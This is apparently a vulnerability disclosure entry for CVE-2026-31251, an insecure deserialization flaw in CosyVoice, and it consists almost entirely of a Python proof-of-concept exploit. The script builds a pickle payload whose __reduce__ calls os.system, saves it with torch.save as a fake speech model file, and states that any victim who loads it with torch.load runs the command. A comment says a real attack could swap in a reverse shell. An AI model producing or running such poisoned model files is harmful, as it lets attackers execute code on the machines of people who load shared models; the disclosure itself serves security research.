CVE-2026-31251 CosyVoice 不安全反序列化漏洞

import torch import os import pickle # Define a malicious class that executes code on deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file as proof of concept) # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31251',)) # Create an instance of the malicious payload payload = MaliciousPayload() # Save the payload as a fake model file using torch.save (which uses pickle internally) # The victim would load this file thinking it is a legitimate speech synthesis model print("[*] Generating malicious model file...") torch.save(payload, 'malicious_model.pt') print("[+] Malicious model file 'malicious_model.pt' created successfully.") print("[+] When the victim loads this file using torch.load(), the command will be executed.")